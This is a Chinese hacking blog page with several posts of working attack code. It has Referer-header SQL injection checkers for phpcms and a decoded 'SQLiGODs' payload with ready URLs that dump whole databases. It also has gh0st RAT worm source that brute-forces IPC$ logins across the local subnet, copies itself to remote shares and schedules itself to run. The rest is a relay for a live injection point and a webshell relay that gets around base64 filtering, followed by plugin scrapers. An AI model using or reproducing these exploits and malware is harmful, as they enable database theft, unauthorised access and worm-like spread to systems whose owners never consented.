SQL注入(Rerferer注入)插件编写

发布时间:April 26, 2015 // 分类:代码学习,VC/C/C++,windows,python // No Comments

这个漏洞的详细细节在这里可以看到:http://0day5.com/archives/319

首先是python的,因为学习python,所以就选择了这个。首先自己定义一个http头,然后curl -H提交就好了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from:http://0day5.com/archives/319

def assign(service,arg):
    if service == "phpcms":
        return True, arg

def audit(arg):
    url = arg + '/index.php?m=poster&c=index&a=poster_click&id=1'
    payload = "Referer:',(SELECT 1 FROM(SELECT COUNT(*),CONCAT(user(),FLOOR(RAND(0)*2))X FROM information_schema.tables GROUP BY X)a),'1')#"
    code, head, res, errcode,finalurl =  curl.curl("-H \"%s\" %s" % (payload,url))

    if code == 200 and res.find("for key 'group_key'") != -1:
        security_hole(url)

if __name__ == "__main__":
    from dummy import *
    audit(assign('phpcms', 'http://www.example.com/')[1])

然后是VC的,因为之前没有考虑到http头也可以注入的问题。所以只能采取拼凑的办法,就是把需要提交的参数直接封装到一个包里面去。然后直接发送出去

    String referPack="";  //顶一个referPack
    referPack.Format("GET %s/index.php?m=poster&c=index&a=poster_click&id=1 HTTP/1.1\r\nHost: %s\r\nUser-Agent: baiduSpider\r\nReferer:',(SELECT 1 FROM(SELECT COUNT(*),CONCAT(user(),FLOOR(RAND(0)*2))X FROM information_schema.tables GROUP BY X)a),'1')#"
        ,Root,Host);//就是定义了一个referer,然后把GET提交的东西封起来
    sendToTarget(referPack.GetBuffer(0),TRUE);//发送出去
    String body=GetResponseContent(); //接收返回的内容
    if (body.Find("for key 'group_key'",0)!=-1)
    {
        return "http://"+Host+Root+"/index.php?m=poster&c=index&a=poster_click&id=1 存在Referer MySQL显错式注入!";
    }

 

从SQLiGODS里面得到的一点tips

发布时间:April 26, 2015 // 分类:代码学习,mysql // No Comments

Referer:http://zone.wooyun.org/content/16039

这里介绍了一个exp,可以一次性dump出全部的数据。之前一直感觉很强大,各种膜拜。后来接触一段时间后打算深入地研究下具体的过程。于是有了此文

concat(0x3c7363726970743e6e616d653d70726f6d70742822506c6561736520456e74657220596f7572204e616d65203a2022293b2075726c3d70726f6d70742822506c6561736520456e746572205468652055726c20796f7527726520747279696e6720746f20496e6a65637420616e6420777269746520276d616b6d616e2720617420796f757220496e6a656374696f6e20506f696e742c204578616d706c65203a20687474703a2f2f736974652e636f6d2f66696c652e7068703f69643d2d3420554e494f4e2053454c45435420312c322c332c636f6e6361742830783664363136622c6d616b6d616e292c352d2d2b2d204e4f5445203a204a757374207265706c61636520796f757220496e6a656374696f6e20706f696e742077697468206b6579776f726420276d616b6d616e2722293b3c2f7363726970743e,0x3c623e3c666f6e7420636f6c6f723d7265643e53514c69474f44732053796e746178205620312e30204279204d616b4d616e3c2f666f6e743e3c62723e3c62723e3c666f6e7420636f6c6f723d677265656e2073697a653d343e496e6a6563746564206279203c7363726970743e646f63756d656e742e7772697465286e616d65293b3c2f7363726970743e3c2f666f6e743e3c62723e3c7461626c6520626f726465723d2231223e3c74723e3c74643e44422056657273696f6e203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,version(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e2044422055736572203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,user(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e5072696d617279204442203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,database(),0x203c2f74643e3c2f74723e3c2f7461626c653e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e43686f6f73652061207461626c652066726f6d207468652064726f70646f776e206d656e75203a203c2f666f6e743e3c62723e,concat(0x3c7363726970743e66756e6374696f6e20746f48657828737472297b76617220686578203d27273b666f722876617220693d303b693c7374722e6c656e6774683b692b2b297b686578202b3d2027272b7374722e63686172436f646541742869292e746f537472696e67283136293b7d72657475726e206865783b7d66756e6374696f6e2072656469726563742873697465297b6d616b73706c69743d736974652e73706c697428222e22293b64626e616d653d6d616b73706c69745b305d3b74626c6e616d653d6d616b73706c69745b315d3b6d616b7265703d22636f6e636174284946284074626c3a3d3078222b746f4865782874626c6e616d65292b222c3078302c307830292c4946284064623a3d3078222b746f4865782864626e616d65292b222c3078302c307830292c636f6e6361742830783363373336333732363937303734336537353732366333643232222b746f4865782875726c292b2232323362336332663733363337323639373037343365292c636f6e63617428636f6e6361742830783363373336333732363937303734336536343632336432322c4064622c307832323362373436323663336432322c4074626c2c3078323233623363326637333633373236393730373433652c30783363363233653363363636663665373432303633366636633666373233643732363536343365323035333531346336393437346634343733323035333739366537343631373832303536323033313265333032303432373932303464363136623464363136653363326636363666366537343365336336323732336533633632373233653534363136323663363532303465363136643635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4074626c2c3078336332663636366636653734336532303636373236663664323036343631373436313632363137333635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4064622c307833633266363636663665373433653363363237323365346537353664363236353732323034663636323034333666366337353664366537333230336132303363363636663665373432303633366636633666373233643632366337353635336533633733363337323639373037343365363336663663363336653734336432322c2853454c45435420636f756e7428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d40646220616e64207461626c655f6e616d653d4074626c292c3078323233623634366636333735366436353665373432653737373236393734363532383633366636633633366537343239336233633266373336333732363937303734336533633266363636663665373433652c307833633632373233652c2873656c65637420284078292066726f6d202873656c656374202840783a3d30783030292c284063686b3a3d31292c202873656c656374202830292066726f6d2028696e666f726d6174696f6e5f736368656d612e636f6c756d6e732920776865726520287461626c655f736368656d613d3078222b746f4865782864626e616d65292b222920616e6420287461626c655f6e616d653d3078222b746f4865782874626c6e616d65292b222920616e642028307830302920696e202840783a3d636f6e6361745f777328307832302c40782c4946284063686b3d312c30783363373336333732363937303734336532303633366636633665363136643635323033643230366536353737323034313732373236313739323832393362323037363631373232303639323033643230333133622c30783230292c30783230363336663663366536313664363535623639356432303364323032322c636f6c756d6e5f6e616d652c307832323362323036393262326233622c4946284063686b3a3d322c307832302c30783230292929292978292c30783636366637323238363933643331336236393363336436333666366336333665373433623639326232623239376236343666363337353664363536653734326537373732363937343635323832323363363636663665373432303633366636633666373233643637373236353635366533653232326236393262323232653230336332663636366636653734336532323262363336663663366536313664363535623639356432623232336336323732336532323239336237643363326637333633373236393730373433652c636f6e6361742830783363363233652c307833633733363337323639373037343365373137353635373237393364323232323362363636663732323836393364333133623639336336333666366336333665373433623639326232623239376237313735363537323739336437313735363537323739326236333666366336653631366436353562363935643262323232633330373833323330333336313333363133323330326332323362376437353732366333643735373236633265373236353730366336313633363532383232323732323263323232353332333732323239336236343664373037313735363537323739336437353732366332653732363537303663363136333635323832323664363136623664363136653232326332323238373336353663363536333734323834303239323036363732366636643238373336353663363536333734323834303361336433303738333033303239323032633238373336353663363536333734323032383430323932303636373236663664323832323262363436323262323232653232326237343632366332623232323937373638363537323635323834303239323036393665323032383430336133643633366636653633363137343566373737333238333037383332333032633430326332323262373137353635373237393262323233303738333336333336333233373332333336353239323932393239363132393232323933623634366636333735366436353665373432653737373236393734363532383232336336313230363837323635363633643237323232623634366437303731373536353732373932623232323733653433366336393633366232303438363537323635323037343666323034343735366437303230373436383639373332303737363836663663363532303534363136323663363533633631336532323239336233633266373336333732363937303734336529292929223b75726c3d75726c2e7265706c616365282227222c2225323722293b75726c706173313d75726c2e7265706c61636528226d616b6d616e222c6d616b726570293b77696e646f772e6f70656e2875726c70617331293b7d3c2f7363726970743e3c73656c656374206f6e6368616e67653d22726564697265637428746869732e76616c756529223e3c6f7074696f6e2076616c75653d226d6b6e6f6e65222073656c65637465643e43686f6f73652061205461626c653c2f6f7074696f6e3e,(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c6f7074696f6e2076616c75653d22,UNHEX(HEX(table_schema)),0x2e,UNHEX(HEX(table_name)),0x223e,UNHEX(HEX(concat(0x4461746162617365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name))),0x3c2f6f7074696f6e3e))))x),0x3c2f73656c6563743e),0x3c62723e3c62723e3c62723e3c62723e3c62723e)

顺便把这个exp给解码了,发现一点有意思的



<script> name=prompt("Please Enter Your Name : "); url=prompt("Please Enter The Url you're trying to Inject and write 'makman' at your Injection Point, Example : http://site.com/file.php?id=-4 UNION SELECT 1,2,3,concat(6d616b,makman),5—+- NOTE : Just replace your Injection point with keyword 'makman'"); </script> , //熟悉的开始地方 <b> <font color=red>SQLiGODs Syntax V 1.0 By MakMan</font><br><br> <font color=green size=4>Injected by <script>document.write(name);</script></font><br> <table border="1"> <tr><td>DB Version : </td> <td><font color=blue> ,version(), </font></td></tr> //version() <tr><td> DB User : </td> <td><font color=blue> ,user(), </font></td></tr> //user() <tr><td>Primary DB : </td> <td><font color=blue> ,database(), </td></tr></table> <br>, //database() <font color=blue>Choose a table from the dropdown menu : </font> <br>,concat( <script> function toHex(str){ //转换为16进制 var hex =''; for(var i=0;i<str.length;i++){ hex += ''+str.charCodeAt(i).toString(16); } return hex; } function redirect(site){ maksplit=site.split("."); dbname=maksplit[0]; tblname=maksplit[1]; makrep="concat( IF(@tbl:="+toHex(tblname)+",0,0), IF(@db:="+toHex(dbname)+",0,0), concat( <script> url=""+toHex(url)+""; //对url进行编码 </script>),concat(concat( <script>db=",@db,";tbl=",@tbl,";</script>,<b> <font color=red> SQLiGODs Syntax V 1.0 By MakMan</font><br><br> Table Name : <font color=blue>,@tbl,</font> from database : <font color=blue>,@db,</font> <br>Number Of Columns : <font color=blue> <script> colcnt=",(SELECT count(column_name) from information_schema.columns where table_schema=@db and table_name=@tbl),"; //SELECT count(column_name) from information_schema.columns where table_schema=@db and table_name=@tbl //查询某个表的数目 document.write(colcnt);</script> </font>,<br>, (select (@x) from (select (@x:=00),(@chk:=1), (select (0) from (information_schema.columns) where (table_schema="+toHex(dbname)+") and (table_name="+toHex(tblname)+") and (00) in (@x:=concat_ws(20,@x,IF(@chk=1, <script> colname = new Array(); var i = 1;,20), colname[i] = ",column_name,"; i++;,IF(@chk:=2,20,20)))))x),for(i=1;i<=colcnt;i++){ document.write("<font color=green>"+i+". </font>"+colname[i]+"<br>");}</script> , concat(<b>,<script>query="";for(i=1;i<colcnt;i++){ // query=query+colname[i]+", :: ,"; } url=url.replace("'","%27"); dmpquery=url.replace("makman","(select(@) from(select(@:=00) ,(select (@) from("+db+"."+tbl+")where(@) in (@:=concat_ws(20,@,"+query+"<br>))))a)"); //把makman替换为sql语句,这里就是我们需要查询的关键了 document.write("<a href='"+dmpquery+"'>Click Here to Dump this whole Table<a>");</script>))))"; url=url.replace("'","%27"); urlpas1=url.replace("makman",makrep); window.open(urlpas1); } </script> <select onchange="redirect(this.value)"> <option value="mknone" selected>Choose a Table</option>, (select (@x) from (select (@x:=00), (select (0) from (information_schema.tables) where (table_schema!=information_schema) and (00) in (@x:=concat(@x, <option value=",UNHEX(HEX(table_schema)),.,UNHEX(HEX(table_name)),">,UNHEX(HEX(concat(Database :: ,table_schema, :: Table :: ,table_name))),</option>))))x),</select>), <br><br><br><br><br>

把这个拆解开来,发现了其中的关键部分就是

select(@) from(select(@:=00) ,(select (@) from(&quot;+db+&quot;.&quot;+tbl+&quot;)where(@) in (@:=concat_ws(20,@,&quot;+query+&quot;

然后自己本地测试发现的是这样子的

SELECT @ FROM (SELECT @:=0,(SELECT @ FROM information_schema.columns WHERE @ IN (@:=CONCAT(@, 0x0a,concat_ws(0x3a,table_schema)))))x

列出全部的库

SELECT @ FROM (SELECT @:=0,(SELECT @ FROM information_schema.columns WHERE @ IN (@:=CONCAT(@, 0x0a,concat_ws(0x3a,table_schema,table_name)))))x

列出全部的表

 

然后列出全部的库,表,字段就是这样子了

SELECT @ FROM (SELECT @:=0,(SELECT @ FROM information_schema.columns WHERE @ IN (@:=CONCAT(@, 0x0a,concat_ws(0x3a,table_schema,table_name,column_name))) ) )x

数据太多,直接超时了

 

PS:当然这个的风险是很大的,比如我的CPU硬生生的耗完了

用到注入的地方,就是这样子。比如我们平时的都是这么注入的

http://xxx.xxx.xxx.xxx//plus/recommend.php?aid=1&amp;_FILES[type][name]&amp;_FILES[type][size]&amp;_FILES[type][type]&amp;_FILES[type][tmp_name]=aa%5c%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,(SELECT%20@%20FROM%20(SELECT%20@:=0,(SELECT%20@%20FROM%20information_schema.columns%20WHERE%20@%20IN%20(@:=CONCAT(@,%200x0a,concat_ws(0x3a,table_schema,table_name)))))x),5,6,7,8,9%23

利用上面的办法,我们来撸出全部的表还有字段

http://xxx.xxx.xxx.xxx//plus/recommend.php?aid=1&amp;_FILES[type][name]&amp;_FILES[type][size]&amp;_FILES[type][type]&amp;_FILES[type][tmp_name]=aa%5c%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,(SELECT%20@%20FROM%20(SELECT%20@:=0,(SELECT%20@%20FROM%20information_schema.columns%20WHERE%20@%20IN%20(@:=CONCAT(@,%200x0a,concat_ws(0x3a,table_schema,table_name)))))x),5,6,7,8,9%23

当然还可以一次性列出全部的表还有字段

http://xxx.xxx.xxx.xxx//plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa%5c%27and+char(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,(SELECT%20@%20FROM%20(SELECT%20@:=0,(SELECT%20@%20FROM%20information_schema.columns%20WHERE%20@%20IN%20(@:=CONCAT(@,%200x0a,concat_ws(0x3a,table_schema,table_name,column_name)))))x),5,6,7,8,9%2

相关文档:

gh0st学习之内网感染模块

发布时间:April 26, 2015 // 分类:VC/C/C++,windows // No Comments

char *GetMyFilePath();
DWORD SendFiles(const char *RemoteIP,const char *lpUserName,const char *lpPassword);
//----------------------------------------------------------------
typedef DWORD(WINAPI*tWNetAddConnection2)
(
 LPNETRESOURCE lpNetResource,      // connection details
 LPCTSTR      lpPassword,           // 密码
 LPCTSTR       lpUsername,           // 用户名
 DWORD         dwFlags               // 连接选项
);
//----------------------------------------------------------------
int InitWSA()
{
    WORD wVersion =0 ;
    int  errret = -1;
    WSADATA wsaData;
    wVersion = MAKEWORD(2,2);
    errret = WSAStartup(wVersion,&wsaData);
    if( LOBYTE( wsaData.wVersion) != 2 ||
        HIBYTE( wsaData.wVersion) !=2 )
    {
        return 0;
    }
    return 1;
}
 
 
 
 
int nCount;
int breakipc=0;
 
//--------------------------------------------------------------------------------------------
 
DWORD WINAPI IPC(LPVOID lpParameter)  //IPC内网传播
{
    //要进入的用户名
char *szUser[]={                          
"administrator","test","admin", "guest","alex", "home",
"love","xp", "user","game", "123","nn","root",
"movie","time", "yeah","money", "xpuser","hack","enter",
0};
        //要进入的密码
char *szPass[]={
"", 
"password","111","123456","qwerty","test","abc123", "memory",
"home", "12345678","love","bbbbbb","xp", "88888","nn","root","caonima",
"5201314", "1314520","asdfgh","alex", "angel","NULL",
"123", "asdf","baby","woaini", "movie",
0};
//---------------------------------
if(!InitWSA()) //初始化套接字
return 0;
CHAR szHostName[128]={0};   //定义主机名的变量   
struct hostent * pHost;      
int b;                      //定义变量i
SOCKADDR_IN saddr;
             
if(gethostname(szHostName,128)==0) //获取本机计算机名
{        
pHost = gethostbyname(szHostName); //根据计算机名获取IP地址等信息
for(b = 0; pHost!= NULL && pHost->h_addr_list[b]!= NULL; b++ )     
{   
memset(&saddr,0,sizeof(saddr)); 
memcpy(&saddr.sin_addr.s_addr, pHost->h_addr_list[b], pHost->h_length);         
char szIpaddress[128]={0};
 
for(nCount=1;nCount<254;nCount++)  //C段1-254   
{
    breakipc=0;
memset(szIpaddress,0,128);
sprintf(szIpaddress,               //格式化IP到szIpaddress变量
        "%d.%d.%d.%d",
        saddr.sin_addr.S_un.S_un_b.s_b1,
        saddr.sin_addr.S_un.S_un_b.s_b2,
        saddr.sin_addr.S_un.S_un_b.s_b3,
nCount);
//printf("%s\n",szIpaddress);
for(int i = 0;szUser[i]; i++)      //进行循环从szUser变量中0的位置循环用户名
{
for (int j=0;szPass[j];j++)           //进行循环从szPass变量中0的位置循环密码
{
Sleep(200); 
if (breakipc==1)
{
    break;
}
                        //暂停80毫秒
SendFiles(szIpaddress,szUser[i],szPass[j]); //传递远程主机IP用户名和密码进行种植
//printf("%s\n%s\n%s\n",szIpaddress,szUser[i],szPass[j]);
}           
} 
}
                     
}
}   
WSACleanup();   
return 1;
}
 
//--------------------------------------------------------------------------------------------
 
DWORD SendFiles(const char *RemoteIP,const char *lpUserName,const char *lpPassword)
{
HMODULE hModuleMpr=LoadLibrary("mpr.dll");   //加载网络通信的mpr.dll动态链接库
tWNetAddConnection2 connectipc=(tWNetAddConnection2)GetProcAddress(hModuleMpr,"WNetAddConnection2A");
 
char sPwd[20]={0};
memset(sPwd, 0, 20);
if(!lstrcmp(lpPassword, "NULL"))
sprintf(sPwd, "\"%s\"","");
 
char szCmdLine[1028]={0};
char szIpcFilePath[MAX_PATH]={0};
sprintf(szCmdLine,"\\\\%s\\ipc$",RemoteIP);
NETRESOURCE ns;
ns.dwScope=RESOURCE_GLOBALNET;
ns.dwType=RESOURCETYPE_ANY; 
ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC; 
ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;
ns.lpLocalName="";
ns.lpRemoteName=szCmdLine;
ns.lpProvider=NULL;
ns.lpComment=NULL;
BOOL bRet=TRUE;
DWORD dwRet;
dwRet=connectipc(&ns,lpPassword,lpUserName,0);
 
if (connectipc)
{
 
    char *szMyFilePath=GetMyFilePath();
    Sleep(200);
    memset(szCmdLine,0,1028);
    sprintf(szCmdLine,"\\\\%s\\admin$\\NewArea.exe",RemoteIP);
    lstrcpy(szIpcFilePath,"admin$\\");
    bRet=CopyFile(GetMyFilePath(),szCmdLine,FALSE);
    if(!bRet)
    {
        memset(szCmdLine,0,1028);
        sprintf(szCmdLine,"\\\\%s\\C$\\NewArean.exe",RemoteIP);
        lstrcpy(szIpcFilePath,"C:\\NewArea.exe");
        bRet=CopyFile(GetMyFilePath(),szCmdLine,FALSE);
        if(!bRet)
        {
            memset(szCmdLine,0,1028);
            sprintf(szCmdLine,"\\\\%s\\D$\\NewArea.exe",RemoteIP);
            lstrcpy(szIpcFilePath,"D:\\NewArea.exe");
            bRet=CopyFile(GetMyFilePath(),szCmdLine,FALSE);
             
            if(!bRet)
            {
                memset(szCmdLine,0,1028);
                sprintf(szCmdLine,"\\\\%s\\E$\\NewArea.exe",RemoteIP);
                lstrcpy(szIpcFilePath,"E:\\NewArea.exe");
                bRet=CopyFile(GetMyFilePath(),szCmdLine,FALSE);
                if(!bRet)
                {
                    memset(szCmdLine,0,1028);
                    sprintf(szCmdLine,"\\\\%s\\F$\\NewArea.exe",RemoteIP);
                    lstrcpy(szIpcFilePath,"F:\\NewArea.exe");
                    bRet=CopyFile(GetMyFilePath(),szCmdLine,FALSE);
                    return 0;
                }
            }
        }
    }
    if(bRet)
    {
        SYSTEMTIME sYstemTime;
        GetLocalTime(&sYstemTime);
        memset(szCmdLine,0,1028);
        sprintf(szCmdLine,"at \\\\%s %d:%d %s",RemoteIP,sYstemTime.wHour,sYstemTime.wMinute+2,szIpcFilePath);
        WinExec(szCmdLine,SW_HIDE);
        breakipc=1;
        Sleep(2000);
    }
    return 0;
}
 
     
return 1;
     
}
 
//-----------------------------------------------------------------------------
char *GetMyFilePath()  //得到自身路径函数
{
char szMyFilePath[MAX_PATH]={0};
GetModuleFileName(NULL,szMyFilePath,MAX_PATH);
return szMyFilePath;
}

 

PHP中转访问脚本

发布时间:April 26, 2015 // 分类:PHP,linux,windows // No Comments

<?php
set_time_limit(0); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
 
$url = "http://blog.discuz.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=$id%23"; //supsite 注入页面
 
echo $url;
 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "$url"); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_HEADER, 0);
 
$output = curl_exec($ch); 
curl_close($ch); 
print_r($output);
?>

将这个文件保存成inj.php即可,这个文件url如下:

http://localhost/inj/inj.php

把需要访问的$id根据目标页的伪静态规则放到指定的位置就可以了。如上。

原理就是通过curl来取得目标页的内容(与直接访问目标页效果一样),只需要修改$url的内容就可以适应各种伪静态规则了。

脚本比较简陋,有需要的童鞋,可根据情况加入post方式,代理,referer等功能。

我们现在访问 http://localhost/inj/inj.php?id=1,

即相当于访问 http://localhost/inj/index.php/index/index/id/1.html ,

呵呵,现在我们就可以通过访问 http://localhost/inj/inj.php?id=1 这个连接访问ado服务器的相关页面了。顺便淘到了一个POST的中转的

<?php 
$webshell="http://www.phpinfo.me/plus/helen.php";//把这里改成你的shell地址 
$webshell=$webshell."?&1141056911=base64_decode"; 
 
$da=$_POST; 
$data = $da; 
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911]( 
 
//print_r($data); 
 
$data = http_build_query($data);   
$opts = array (   
'http' => array (   
'method' => 'POST',   
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .   
"Content-Length: " . strlen($data) . "\r\n",   
'content' => $data) 
); 
    
$context = stream_context_create($opts);   
$html = @file_get_contents($webshell, false, $context); //发送post   
echo $html;   
 
 
?>

 

VC之爬虫bugscan

发布时间:April 26, 2015 // 分类:VC/C/C++,windows // No Comments

最近学习python,昨晚折腾到半夜。今天想起来也是醉了.

然后今儿拿VC来重新写了一个

//从用户提供的url  www.bugscan.net/bug/111  中获取 漏洞id
    CRegex reid("www.bugscan.net/bug/(\\d+)");
    reid.RegMatch(target);
 
 
    CBaseSec bugscan("https://www.bugscan.net");
    bugscan.init();
     
    //设置http请求头部
    bugscan.SetContentType("application/json; charset=UTF-8");
    bugscan.SetHttpHeader("Referer: https://www.bugscan.net/");
    bugscan.SetCookie("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
     
     
    //发送获取漏洞信息的请求
    CString postdata="{\"method\":\"GetPluginDetail\",\"params\":["+reid.strMat+"]}";
    bugscan.PostRequest("/rest",postdata.GetBuffer(0),TRUE);
 
    //获取漏洞描述
    CString desc=bugscan.getInfo("\"description\":\"(.*?)\"");
    if (desc=="")
    {
        //无漏洞描述,视此漏洞id无效
        return "";
    }
    //获取漏洞的fname
    CString fname=bugscan.getInfo("\"fname\":\"(.*?)\"");
    //获取源码
    CString source=bugscan.getInfo("\"source\":\"(.*?)\",\"status");
    source.Replace("\\\"","\"");
 
 
    //将源码写入到文件
    CString filename="";
    filename.Format("%s-%s",reid.strMat,fname);
    CStdioFile logtxt(filename,CFile::modeReadWrite | CFile::shareDenyNone | CFile::typeText | CFile::modeCreate | CFile::modeNoTruncate);
    logtxt.SeekToEnd();
    //要写入的数据
    CString data="";
    data="#"+desc+"\n\n"+source;
    data.Replace("\\r","\r");
    data.Replace("\\n","\n");
    logtxt.WriteString(data);

python之bugscan爬虫

发布时间:April 26, 2015 // 分类:linux,代码学习,python,windows // No Comments

最近在bugscan上提交各种插件,发现了与很多大神之间的差距。但是自己想弄一些回来慢慢的学习。就萌生了想把全部的explotit全部拖回来看看。

首先我们来抓包看看

POST /rest HTTP/1.1
Host: www.bugscan.net
Connection: keep-alive
Content-Length: 45
Origin: https://www.bugscan.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: https://www.bugscan.net/
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
Cookie: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
{"method":"GetPluginDetail","params":[579]}

可以看出来是通过json进行提交的

然后我们用这个数据包利用burp来重放一次

明显是可以看到成功提交的。然后各种精简到后来发现到这样也是可以提交的

POST /rest HTTP/1.1
Host: www.bugscan.net
Content-Type: application/json;charset=UTF-8
Referer: https://www.bugscan.net/
Cookie: xxxxxxxxxxxxxxxxxxxxxx
Content-Length: 45
 
{"method":"GetPluginDetail","params":[579]}

那么现在可以明确的肯定,我们需要提交的东西包括host url referer content-type cookie 以及 post提交的数据

首先因为要使用json,我们就加载json模块

我们使用urllib2这个组件来抓取网页。

urllib2是Python的一个获取URLs(Uniform Resource Locators)的组件。

它以urlopen函数的形式提供了一个非常简单的接口

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = ' #接收参数的地址 
headers = { 'Referer':' #模拟来路 
            'Content-Type': 'application/json;charset=UTF-8', #提交的方式
            'cookie':'xxxxxxxxxxxxxxxxx'  #自己的cookie
        }
data = {"method":"GetPluginDetail","params":[579]}
postdata = json.dumps(data)
 
req = urllib2.Request(url, postdata, headers)
response = urllib2.urlopen(req)
the_page = response.read()
print the_page

可以看到现在成功的获取到了这个内容.

然后逐个匹配,内容,文件名字等等

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = ' #接收参数的地址  
headers = { 'Referer':'https://www.bugscan.net/',#模拟来路
            'Content-Type': 'application/json;charset=UTF-8',#提交的方式
            'cookie':'xxxxxxxxxxxxxxxxxxxxxxxxxxx'#自己的cookie
        }
data = {"method":"GetPluginDetail","params":[579]}
postdata = json.dumps(data)
 
req = urllib2.Request(url, postdata, headers)
response = urllib2.urlopen(req)
html_page = response.read()
json_html = json.loads(html_page) #dedao得到原始的数据
source = json_html['result']['plugin']['source'] #获取到我们需要的源码内容
name = json_html['result']['plugin']['fname'] #获取到我们读取的文件名字
f = open('f:/bugscan/'+name,'w')
f.write(source)
f.close()

然后就是我们想要做的了..

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = 'https://www.bugscan.net/rest'
headers = { 'Referer':'https://www.bugscan.net/',
            'Content-Type': 'application/json;charset=UTF-8',
            'cookie':'xxxxxxxxxxxxxxxxxxxxxxxxxxx'
        }
for i in range(1, 579+1): #因为到当前为止,只有579篇
    datas = {"method":"GetPluginDetail","params":[i]}
    postdata = json.dumps(datas)
    req = urllib2.Request(url, postdata, headers)
    response = urllib2.urlopen(req)
    html_page = response.read()
    json_html = json.loads(html_page) #dedao得到原始的数据
    source = json_html['result']['plugin']['source'] #获取到我们需要的源码内容
    name = json_html['result']['plugin']['fname'] #获取到我们读取的文件名字
    f = open('f:/bugscan/'+i+name,'w')#写入文件内
    f.write(source)
    f.close()

下一个修改的地方,因为用户Zero的是不能查看的,所以考虑获取用户的地方直接给他不写入

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = 'https://www.bugscan.net/rest'
headers = { 'Referer':'https://www.bugscan.net/',
            'Content-Type': 'application/json;charset=UTF-8',
            'cookie':'xxxxxxxxxxxxxxxxxxxxxx'
        }
for i in range(1, 579+1):
    datas = {"method":"GetPluginDetail","params":[i]}
    postdata = json.dumps(datas)
    req = urllib2.Request(url, postdata, headers)
    response = urllib2.urlopen(req)
    html_page = response.read()
    if html_page.find('未登录或者是加密插件') == -1: #未登录或者是加密插件的基本不可看
        json_html = json.loads(html_page) #dedao得到原始的数据
        source = json_html['result']['plugin']['source'] #获取到我们需要的源码内容
        name = json_html['result']['plugin']['fname'] #获取到我们读取的文件名字
        f = open('f:/bugscan/'+i+name,'w')
        f.write(source)
        f.close()
 

2015.8.15更新

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
  
import json   
import urllib2
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
  
url = 'https://www.bugscan.net/rest'
#自定义的http头
headers = { 'Referer':'https://www.bugscan.net/',
            'Content-Type': 'application/json;charset=UTF-8',
            'cookie':'here is cookie which is yours'
        }

for i in range(39, 1341+1):
    #自带的提交方式
    data = {"method":"GetPluginDetail","params":[i]}
    #把提交得到的数据进行json解码
    postdata = json.dumps(data)
    req = urllib2.Request(url, postdata, headers)
    response = urllib2.urlopen(req)
    html_page = response.read()
    json_html = json.loads(html_page)
    #如果匹配到sql:no rows in result set
    #表示这个是不可读取的
    if html_page.find("sql: no rows in result set") == -1: 
        #如果匹配到了source:的式样。则进行匹配
        if html_page.find('"source":') != -1: 
            #print i
            #抓取source的内容
            source = json_html['result']['plugin']['source']
            #抓取fname的内容,也就是提交的文件名
            name = json_html['result']['plugin']['fname']
            #考虑到有重复的出现,这里匹配了i
            f = open('bugscan/'+bytes(i)+'_'+name,'w')
            f.write(source)
            f.close()

 

2016/1/16 更新。因为之前的跳转全部给弄到了q.bugscan.net。所以单独对q.bugscan.net的进行爬行

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests,re

#自定义的http头
qian = re.compile(r'<pre><code>([\s\S]*?)</code></pre>')
headers = { 'Referer':'http://q.bugscan.net/',
            'UserAgent': 'Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19',
            'cookie':'cookie',}
url = 'http://q.bugscan.net/t/1945'
response = requests.get(url,headers=headers)
resu = qian.findall(response.content.replace('&#34;', '"'))
if (len(resu)>0) and ("def assign(service, arg):" in resu):
    content = resu[0].replace("&#39;", "'")
        print content

